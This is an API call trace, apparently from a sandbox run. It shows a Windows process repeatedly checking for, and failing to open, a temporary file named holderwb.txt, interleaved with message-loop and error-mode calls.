	[0098.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.945] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.945] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.946] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.946] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.946] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.946] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.946] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.947] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.947] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.947] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.947] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.947] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.948] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.948] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.948] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.948] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.949] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.949] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.949] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.950] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.953] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.954] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.954] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.954] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.955] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.955] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.955] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.955] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.955] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.955] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.956] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.956] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.956] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.956] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.957] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.957] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.958] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.958] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.958] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.958] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.958] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.958] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.959] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.959] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.959] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.959] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.959] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.959] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.960] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.960] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.960] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.960] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.961] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.961] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.961] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.961] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.962] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.962] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.962] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.962] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.963] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.963] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.963] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.963] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
